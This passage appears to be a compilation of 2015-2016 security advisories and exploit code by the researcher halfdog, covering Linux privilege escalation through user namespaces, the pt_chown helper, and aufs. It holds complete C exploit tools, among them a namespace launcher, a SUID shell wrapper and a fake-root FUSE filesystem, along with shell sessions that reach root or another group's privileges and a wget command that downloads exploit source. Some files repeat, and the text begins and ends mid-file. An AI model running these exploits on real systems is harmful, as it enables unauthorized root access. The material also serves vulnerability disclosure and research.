// ftruncate(destFd, suidWriteTestPos-suidExecMinimalElf);
}
fprintf(stderr, "Completed\n");
return(0);
}
--- EOF ---
--- UserNamespaceExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015-2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool creates a new namespace, initialize the uid/gid
* map and execute the program given as argument. This is similar
* to unshare(1) from newer util-linux packages.
*
* gcc -o UserNamespaceExec UserNamespaceExec.c
*
* Usage: UserNamespaceExec [options] -- [program] [args]
*
* * --NoSetGroups: do not disable group chanages
* * --NoSetGidMap:
* * --NoSetUidMap:
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
extern char **environ;
static int childFunc(void *arg) {
int parentPid=getppid();
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
while((geteuid()!=0)&&(parentPid==getppid())) {
sleep(1);
}
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
int result=execve(((char**)arg)[0], (char**)arg, environ);
fprintf(stderr, "Exec failed\n");
return(1);
}
#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];
int main(int argc, char *argv[]) {
int argPos;
int noSetGroupsFlag=0;
int setGidMapFlag=1;
int setUidMapFlag=1;
int result;
for(argPos=1; argPos<argc; argPos++) {
char *argName=argv[argPos];
if(!strcmp(argName, "--")) {
argPos++;
break;
}
if(strncmp(argName, "--", 2)) {
break;
}
if(!strcmp(argName, "--NoSetGidMap")) {
setGidMapFlag=0;
continue;
}
if(!strcmp(argName, "--NoSetGroups")) {
noSetGroupsFlag=1;
continue;
}
if(!strcmp(argName, "--NoSetUidMap")) {
setUidMapFlag=0;
continue;
}
fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
exit(1);
}
// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos);
if(pid==-1) {
fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
char idMapFileName[128];
char idMapData[128];
if(!noSetGroupsFlag) {
sprintf(idMapFileName, "/proc/%d/setgroups", pid);
int setGroupsFd=open(idMapFileName, O_WRONLY);
if(setGroupsFd<0) {
fprintf(stderr, "Failed to open setgroups\n");
return(1);
}
result=write(setGroupsFd, "deny", 4);
if(result<0) {
fprintf(stderr, "Failed to disable setgroups\n");
return(1);
}
close(setGroupsFd);
}
if(setUidMapFlag) {
sprintf(idMapFileName, "/proc/%d/uid_map", pid);
fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
int uidMapFd=open(idMapFileName, O_WRONLY);
if(uidMapFd<0) {
fprintf(stderr, "Failed to open uid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getuid());
result=write(uidMapFd, idMapData, strlen(idMapData));
if(result<0) {
fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
close(uidMapFd);
}
if(setGidMapFlag) {
sprintf(idMapFileName, "/proc/%d/gid_map", pid);
fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
int gidMapFd=open(idMapFileName, O_WRONLY);
if(gidMapFd<0) {
fprintf(stderr, "Failed to open gid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getgid());
result=write(gidMapFd, idMapData, strlen(idMapData));
if(result<0) {
if(noSetGroupsFlag) {
fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno));
} else {
fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
}
close(gidMapFd);
}
if(waitpid(pid, NULL, 0)==-1) {
fprintf(stderr, "Wait failed\n");
return(1);
}
return(0);
}
--- EOF ---
--- SuidExec.c---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool changes to uid/gid 0 and executes the program supplied
* via arguments.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
extern char **environ;
int main(int argc, char **argv) {
if(argc<2) {
fprintf(stderr, "Usage: %s [execargs]\n", argv[0]);
return(1);
}
int rUid, eUid, sUid, rGid, eGid, sGid;
getresuid(&rUid, &eUid, &sUid);
getresgid(&rGid, &eGid, &sGid);
if(setresuid(sUid, sUid, rUid)) {
fprintf(stderr, "Failed to set uids\n");
return(1);
}
if(setresgid(sGid, sGid, rGid)) {
fprintf(stderr, "Failed to set gids\n");
return(1);
}
execve(argv[1], argv+1, environ);
return(1);
}
--- EOF ---
Source: http://www.halfdog.net/Security/2015/PtChownArbitraryPtsAccessViaUserNamespace/
## Introduction
Problem description: With Ubuntu Wily and earlier, /usr/lib/pt_chown was used to change ownership of slave pts devices in /dev/pts to the same uid holding the master file descriptor for the slave. This is done using the pt_chown SUID binary, which invokes the ptsname function on the master-fd, thus again performing a TIOCGPTN ioctl to get the slave pts number. Using the result from the ioctl, the pathname of the slave pts is constructed and chown invoked on it, see login/programs/pt_chown.c:
pty = ptsname (PTY_FILENO);
if (pty == NULL)
...
/* Get the group ID of the special `tty' group. */
p = getgrnam (TTY_GROUP);
gid = p ? p->gr_gid : getgid ();
/* Set the owner to the real user ID, and the group to that special
group ID. */
if (chown (pty, getuid (), gid) < 0)
return FAIL_EACCES;
/* Set the permission mode to readable and writable by the owner,
and writable by the group. */
if ((st.st_mode & ACCESSPERMS) != (S_IRUSR|S_IWUSR|S_IWGRP)
&& chmod (pty, S_IRUSR|S_IWUSR|S_IWGRP) < 0)
return FAIL_EACCES;
return 0;
The logic above is severely flawed, when there can be more than one master/slave pair having the same number and thus same name. But this condition can be easily created by creating an user namespace, mounting devpts with the newinstance option, create master and slave pts pairs until the number overlaps with a target pts outside the namespace on the host, where there is interest to gain ownership and then
## Methods
Exploitation is trivial: At first use any user namespace demo to create the namespace needed, e.g. UserNamespaceExec.c (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c) and work with standard shell commands, e.g. to take over /dev/pts/0:
test# who am I
test pts/1 2015-12-27 12:00
test# ./UserNamespacesExec -- /bin/bash
Setting uid map in /proc/5783/uid_map
Setting gid map in /proc/5783/gid_map
euid: 0, egid: 0
euid: 0, egid: 0
root# mkdir mnt
root# mount -t devpts -o newinstance /dev/pts mnt
root# cd mnt
root# chmod 0666 ptmx
Use a second shell to continue:
test# cd /proc/5783/cwd
test# ls -al
total 4
drwxr-xr-x 2 root root 0 Dec 27 12:48 .
drwxr-xr-x 7 test users 4096 Dec 27 11:57 ..
c--------- 1 test users 5, 2 Dec 27 12:48 ptmx
test# exec 3<>ptmx
test# ls -al
total 4
drwxr-xr-x 2 root root 0 Dec 27 12:48 .
drwxr-xr-x 7 test users 4096 Dec 27 11:57 ..
crw------- 1 test users 136, 0 Dec 27 12:53 0
crw-rw-rw- 1 test users 5, 2 Dec 27 12:48 ptmx
test# ls -al /dev/pts/0
crw--w---- 1 root tty 136, 1 Dec 27 2015 /dev/pts/0
test# /usr/lib/pt_chown
test# ls -al /dev/pts/0
crw--w---- 1 test tty 136, 1 Dec 27 12:50 /dev/pts/0
On systems where the TIOCSTI-ioctl is not prohibited, the tools from TtyPushbackPrivilegeEscalation (http://www.halfdog.net/Security/2012/TtyPushbackPrivilegeEscalation/) to directly inject code into a shell using the pts device. This is not the case at least on Ubuntu Wily. But as reading and writing to the pts is allowed, the malicious user can not intercept all keystrokes and display faked output from commands never really executed. Thus he could lure the user into a) change his password or attempt to invoke su/sudo or b) simulate a situation, where user's next step is predictable and risky and then stop reading the pts, thus making user to execute a command in completely unexpected way.
--- UserNamespaceExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015-2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool creates a new namespace, initialize the uid/gid
* map and execute the program given as argument. This is similar
* to unshare(1) from newer util-linux packages.
*
* gcc -o UserNamespaceExec UserNamespaceExec.c
*
* Usage: UserNamespaceExec [options] -- [program] [args]
*
* * --NoSetGroups: do not disable group chanages
* * --NoSetGidMap:
* * --NoSetUidMap:
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
extern char **environ;
static int childFunc(void *arg) {
int parentPid=getppid();
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
while((geteuid()!=0)&&(parentPid==getppid())) {
sleep(1);
}
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
int result=execve(((char**)arg)[0], (char**)arg, environ);
fprintf(stderr, "Exec failed\n");
return(1);
}
#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];
int main(int argc, char *argv[]) {
int argPos;
int noSetGroupsFlag=0;
int setGidMapFlag=1;
int setUidMapFlag=1;
int result;
for(argPos=1; argPos<argc; argPos++) {
char *argName=argv[argPos];
if(!strcmp(argName, "--")) {
argPos++;
break;
}
if(strncmp(argName, "--", 2)) {
break;
}
if(!strcmp(argName, "--NoSetGidMap")) {
setGidMapFlag=0;
continue;
}
if(!strcmp(argName, "--NoSetGroups")) {
noSetGroupsFlag=1;
continue;
}
if(!strcmp(argName, "--NoSetUidMap")) {
setUidMapFlag=0;
continue;
}
fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
exit(1);
}
// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos);
if(pid==-1) {
fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
char idMapFileName[128];
char idMapData[128];
if(!noSetGroupsFlag) {
sprintf(idMapFileName, "/proc/%d/setgroups", pid);
int setGroupsFd=open(idMapFileName, O_WRONLY);
if(setGroupsFd<0) {
fprintf(stderr, "Failed to open setgroups\n");
return(1);
}
result=write(setGroupsFd, "deny", 4);
if(result<0) {
fprintf(stderr, "Failed to disable setgroups\n");
return(1);
}
close(setGroupsFd);
}
if(setUidMapFlag) {
sprintf(idMapFileName, "/proc/%d/uid_map", pid);
fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
int uidMapFd=open(idMapFileName, O_WRONLY);
if(uidMapFd<0) {
fprintf(stderr, "Failed to open uid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getuid());
result=write(uidMapFd, idMapData, strlen(idMapData));
if(result<0) {
fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
close(uidMapFd);
}
if(setGidMapFlag) {
sprintf(idMapFileName, "/proc/%d/gid_map", pid);
fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
int gidMapFd=open(idMapFileName, O_WRONLY);
if(gidMapFd<0) {
fprintf(stderr, "Failed to open gid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getgid());
result=write(gidMapFd, idMapData, strlen(idMapData));
if(result<0) {
if(noSetGroupsFlag) {
fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno));
} else {
fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
}
close(gidMapFd);
}
if(waitpid(pid, NULL, 0)==-1) {
fprintf(stderr, "Wait failed\n");
return(1);
}
return(0);
}
--- EOF ---
Source: http://www.halfdog.net/Security/2016/AufsPrivilegeEscalationInUserNamespaces/
## Introduction
Problem description: Aufs is a union filesystem to mix content of different underlying filesystems, e.g. read-only medium with r/w RAM-fs. That is also allowed in user namespaces when module was loaded with allow_userns option. Due to different bugs, aufs in a crafted USERNS allows privilege escalation, which is a problem on systems enabling unprivileged USERNS by default, e.g. Ubuntu Wily. All the issues mentioned here were discovered after performing similar analysis on overlayfs, another USERNS enabled union filesystem.
For a system to be exposed, unprivileged USERNS has to be available and AUFS support enabled for it by loading the aufs module with the appropriate option: modprobe aufs allow_userns.
## AUFS Over Fuse: Loss of Nosuid
Method: Fuse filesystem can be mounted by unprivileged users with the help of the fusermount SUID program. Fuse then can simulate files of any type, mode, UID but they are only visible to the user mounting the filesystem and lose all SUID properties. Those files can be exposed using aufs including the problematic SUID properties. The basic exploitation sequence is:
- Mount fuse filesystem exposing crafted SUID binary
- Create USERNS
- Mount aufs on top of fuse
- Execute the SUID binary via aufs from outside the namespace
The issue can then be demonstrated using:
SuidExec (http://www.halfdog.net/Misc/Utils/SuidExec.c)
FuseMinimal (http://www.halfdog.net/Security/2016/AufsPrivilegeEscalationInUserNamespaces/FuseMinimal.c)
UserNamespaceExec (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c)
test$ mkdir fuse mnt work
test$ mv SuidExec RealFile
test$ ./FuseMinimal fuse
test$ ./UserNamespaceExec -- /bin/bash
root$ mount -t aufs -o br=work:fuse none mnt
root$ cd mnt
# Now cwd of the former process is within the aufs mount. Use
# another shell to complete.
test$ /proc/2390/cwd/file /bin/bash
root$ id
uid=0(root) gid=100(users) groups=100(users)
# Go back to old shell for cleanup.
root$ cd ..; umount mnt; exit
test$ fusermount -u fuse
Discussion: In my opinion, fuse filesystem allowed pretending to have files with different UIDs/GIDs in the local mount namespace, but they never had those properties, those files would have, when really stored on local disk. So e.g., the SUID binaries lost their SUID-properties and the owner could also modify arbitrary file content, even if file attributes were pretending, that he does not have access - by having control over the fuse process simulating the filesystem, such access control is futile. That is also the reason, why no other user than the one mounting the filesystem may have rights to access it by default.
In my optionion the workarounds should be to restrict access to fuse also only to the mount namespace where it was created.
## AUFS Xattr Setgid Privilege Escalation
Method: Due to inheritance of Posix ACL information (xattrs) when aufs is copying files and not cleaning those additional and unintended ACL attribues, SGID directories may become user writable, thus allowing to gain privileges of this group using methods described in SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/). Suitable target directories can be easily found using find / -perm -02020 2> /dev/null. On standard Ubuntu system those are:
/usr/local/lib/python3.4 (root.staff)
/var/lib/libuuid (libuuid.libuuid)
/var/local (root.staff)
/var/mail (root.mail)
Exploitation can be done just combining standard tools with the SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/) exploit.
test$ wget -q http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c http://www.halfdog.net/Misc/Utils/SuidExec.c
test$ gcc -o CreateSetgidBinary CreateSetgidBinary.c
test$ gcc -o UserNamespaceExec UserNamespaceExec.c
test$ gcc -o SuidExec SuidExec.c
test$ mkdir mnt test
test$ setfacl -m "d:u:$(id -u):rwx" test
test$ ./UserNamespaceExec -- /bin/bash
root$ mount -t aufs -o br=test:/var none mnt
root$ chmod 07777 mnt/mail
root$ umount mnt; exit
test$ ./CreateSetgidBinary test/mail/escalate /bin/mount x nonexistent-arg
test$ test/mail/escalate ./SuidExec /usr/bin/id
uid=1000(test) gid=8(mail) groups=8(mail),100(users)
On Ubuntu, exploitation allows interference with mail spool and allows to gain privileges of other python processes using python dist-packages owned by user root.staff. If root user calls a python process in that way, e.g. via apport crash dump tool, local root escalation is completed.
According to this post (http://www.openwall.com/lists/oss-security/2016/01/16/7), directories or binaries owned by group staff are in the default PATH of the root user, hence local root escalation is trivial.
--- SuidExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool changes to uid/gid 0 and executes the program supplied
* via arguments.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
extern char **environ;
int main(int argc, char **argv) {
if(argc<2) {
fprintf(stderr, "Usage: %s [execargs]\n", argv[0]);
return(1);
}
int rUid, eUid, sUid, rGid, eGid, sGid;
getresuid(&rUid, &eUid, &sUid);
getresgid(&rGid, &eGid, &sGid);
if(setresuid(sUid, sUid, rUid)) {
fprintf(stderr, "Failed to set uids\n");
return(1);
}
if(setresgid(sGid, sGid, rGid)) {
fprintf(stderr, "Failed to set gids\n");
return(1);
}
execve(argv[1], argv+1, environ);
return(1);
}
--- EOF ---
--- FuseMinimal.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* Minimal userspace file system demo, compile using
* gcc -D_FILE_OFFSET_BITS=64 -Wall FuseMinimal.c -o FuseMinimal -lfuse
*
* See also /usr/include/fuse/fuse.h
*/
#define FUSE_USE_VERSION 28
#include <errno.h>
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static FILE *logFile;
static char *fileNameNormal="/file";
static char *fileNameCharDev="/chardev";
static char *fileNameNormalSubFile="/dir/file";
static char *realFileName="./RealFile";
static int realFileHandle=-1;
static int io_getattr(const char *path, struct stat *stbuf) {
fprintf(logFile, "io_getattr(path=\"%s\", stbuf=0x%p)\n",
path, stbuf);
fflush(logFile);
int res=-ENOENT;
memset(stbuf, 0, sizeof(struct stat));
if(strcmp(path, "/") == 0) {
stbuf->st_mode=S_IFDIR|0755;
stbuf->st_nlink=2;
res=0;
} else if(strcmp(path, fileNameCharDev)==0) {
// stbuf->st_dev=makedev(5, 2);
stbuf->st_mode=S_IFCHR|0777;
stbuf->st_rdev=makedev(5, 2);
stbuf->st_nlink=1; // Number of hard links
stbuf->st_size=100;
res=0;
} else if(strcmp(path, "/dir")==0) {
stbuf->st_mode=S_IFDIR|S_ISGID|0777;
stbuf->st_nlink=1; // Number of hard links
stbuf->st_size=1<<12;
res=0;
} else if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
stbuf->st_mode=S_ISUID|S_IFREG|0777;
stbuf->st_size=100;
if(realFileName) {
if(fstat(realFileHandle, stbuf)) {
fprintf(logFile, "Stat of %s failed, error %d (%s)\n",
realFileName, errno, strerror(errno));
} else {
// Just change uid/suid, which is far more interesting during testing
stbuf->st_mode|=S_ISUID;
stbuf->st_uid=0;
stbuf->st_gid=0;
}
} else {
stbuf->st_mode=S_ISUID|S_IFREG|0777;
stbuf->st_size=100;
}
stbuf->st_nlink=1; // Number of hard links
res=0;
}
return(res);
}
static int io_readlink(const char *path, char *buffer, size_t length) {
fprintf(logFile, "io_readlink(path=\"%s\", buffer=0x%p, length=0x%lx)\n",
path, buffer, (long)length);
fflush(logFile);
return(-1);
}
static int io_unlink(const char *path) {
fprintf(logFile, "io_unlink(path=\"%s\")\n", path);
fflush(logFile);
return(0);
}
static int io_rename(const char *oldPath, const char *newPath) {
fprintf(logFile, "io_rename(oldPath=\"%s\", newPath=\"%s\")\n",
oldPath, newPath);
fflush(logFile);
return(0);
}
static int io_chmod(const char *path, mode_t mode) {
fprintf(logFile, "io_chmod(path=\"%s\", mode=0x%x)\n", path, mode);
fflush(logFile);
return(0);
}
static int io_chown(const char *path, uid_t uid, gid_t gid) {
fprintf(logFile, "io_chown(path=\"%s\", uid=%d, gid=%d)\n", path, uid, gid);
fflush(logFile);
return(0);
}
/** Open a file. This function checks access permissions and may
* associate a file info structure for future access.
* @returns 0 when open OK
*/
static int io_open(const char *path, struct fuse_file_info *fi) {
fprintf(logFile, "io_open(path=\"%s\", fi=0x%p)\n", path, fi);
fflush(logFile);
return(0);
}
static int io_read(const char *path, char *buffer, size_t length,
off_t offset, struct fuse_file_info *fi) {
fprintf(logFile, "io_read(path=\"%s\", buffer=0x%p, length=0x%lx, offset=0x%lx, fi=0x%p)\n",
path, buffer, (long)length, (long)offset, fi);
fflush(logFile);
if(length<0) return(-1);
if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
if(!realFileName) {
if((offset<0)||(offset>4)) return(-1);
if(offset+length>4) length=4-offset;
if(length>0) memcpy(buffer, "xxxx", length);
return(length);
}
if(lseek(realFileHandle, offset, SEEK_SET)==(off_t)-1) {
fprintf(stderr, "read: seek on %s failed\n", path);
return(-1);
}
return(read(realFileHandle, buffer, length));
}
return(-1);
}
static int io_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi) {
fprintf(logFile, "io_readdir(path=\"%s\", buf=0x%p, filler=0x%p, offset=0x%lx, fi=0x%p)\n",
path, buf, filler, ((long)offset), fi);
fflush(logFile);
(void) offset;
(void) fi;
if(!strcmp(path, "/")) {
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, fileNameCharDev+1, NULL, 0);
filler(buf, "dir", NULL, 0);
filler(buf, fileNameNormal+1, NULL, 0);
return(0);
} else if(!strcmp(path, "/dir")) {
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, "file", NULL, 0);
return(0);
}
return -ENOENT;
}
static int io_access(const char *path, int mode) {
fprintf(logFile, "io_access(path=\"%s\", mode=0x%x)\n",
path, mode);
fflush(logFile);
return(0);
}
static int io_ioctl(const char *path, int cmd, void *arg,
struct fuse_file_info *fi, unsigned int flags, void *data) {
fprintf(logFile, "io_ioctl(path=\"%s\", cmd=0x%x, arg=0x%p, fi=0x%p, flags=0x%x, data=0x%p)\n",
path, cmd, arg, fi, flags, data);
fflush(logFile);
return(0);
}
static struct fuse_operations hello_oper = {
.getattr = io_getattr,
.readlink = io_readlink,
// .getdir = deprecated
// .mknod
// .mkdir
.unlink = io_unlink,
// .rmdir
// .symlink
.rename = io_rename,
// .link
.chmod = io_chmod,
.chown = io_chown,
// .truncate
// .utime
.open = io_open,
.read = io_read,
// .write
// .statfs
// .flush
// .release
// .fsync
// .setxattr
// .getxattr
// .listxattr
// .removexattr
// .opendir
.readdir = io_readdir,
// .releasedir
// .fsyncdir
// .init
// .destroy
.access = io_access,
// .create
// .ftruncate
// .fgetattr
// .lock
// .utimens
// .bmap
.ioctl = io_ioctl,
// .poll
};
int main(int argc, char *argv[]) {
char buffer[128];
realFileHandle=open(realFileName, O_RDWR);
if(realFileHandle<0) {
fprintf(stderr, "Failed to open %s\n", realFileName);
exit(1);
}
snprintf(buffer, sizeof(buffer), "FuseMinimal-%d.log", getpid());
logFile=fopen(buffer, "a");
if(!logFile) {
fprintf(stderr, "Failed to open log: %s\n", (char*)strerror(errno));
return(1);
}
fprintf(logFile, "Starting fuse init\n");
fflush(logFile);
return fuse_main(argc, argv, &hello_oper, NULL);
}
--- EOF ---
--- UserNamespaceExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015-2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool creates a new namespace, initialize the uid/gid
* map and execute the program given as argument. This is similar
* to unshare(1) from newer util-linux packages.
*
* gcc -o UserNamespaceExec UserNamespaceExec.c
*
* Usage: UserNamespaceExec [options] -- [program] [args]
*
* * --NoSetGroups: do not disable group chanages
* * --NoSetGidMap:
* * --NoSetUidMap:
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
extern char **environ;
static int childFunc(void *arg) {
int parentPid=getppid();
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
while((geteuid()!=0)&&(parentPid==getppid())) {
sleep(1);
}
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
int result=execve(((char**)arg)[0], (char**)arg, environ);
fprintf(stderr, "Exec failed\n");
return(1);
}
#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];
int main(int argc, char *argv[]) {
int argPos;
int noSetGroupsFlag=0;
int setGidMapFlag=1;
int setUidMapFlag=1;
int result;
for(argPos=1; argPos<argc; argPos++) {
char *argName=argv[argPos];
if(!strcmp(argName, "--")) {
argPos++;
break;
}
if(strncmp(argName, "--", 2)) {
break;
}
if(!strcmp(argName, "--NoSetGidMap")) {
setGidMapFlag=0;
continue;
}
if(!strcmp(argName, "--NoSetGroups")) {
noSetGroupsFlag=1;
continue;
}
if(!strcmp(argName, "--NoSetUidMap")) {
setUidMapFlag=0;
continue;
}
fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
exit(1);
}
// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos);
if(pid==-1) {
fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
char idMapFileName[128];
char idMapData[128];
if(!noSetGroupsFlag) {
sprintf(idMapFileName, "/proc/%d/setgroups", pid);
int setGroupsFd=open(idMapFileName, O_WRONLY);
if(setGroupsFd<0) {
fprintf(stderr, "Failed to open setgroups\n");
return(1);
}
result=write(setGroupsFd, "deny", 4);
if(result<0) {
fprintf(stderr, "Failed to disable setgroups\n");
return(1);
}
close(setGroupsFd);
}
if(setUidMapFlag) {
sprintf(idMapFileName, "/proc/%d/uid_map", pid);
fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
int uidMapFd=open(idMapFileName, O_WRONLY);
if(uidMapFd<0) {
fprintf(stderr, "Failed to open uid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getuid());
result=write(uidMapFd, idMapData, strlen(idMapData));
if(result<0) {
fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
close(uidMapFd);
}
if(setGidMapFlag) {
sprintf(idMapFileName, "/proc/%d/gid_map", pid);
fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
int gidMapFd=open(idMapFileName, O_WRONLY);
if(gidMapFd<0) {
fprintf(stderr, "Failed to open gid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getgid());
result=write(gidMapFd, idMapData, strlen(idMapData));
if(result<0) {
if(noSetGroupsFlag) {
fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno));
} else {
fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
}
close(gidMapFd);
}
if(waitpid(pid, NULL, 0)==-1) {
fprintf(stderr, "Wait failed\n");
return(1);
}
return(0);
}
--- EOF ---
--- CreateSetgidBinary.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
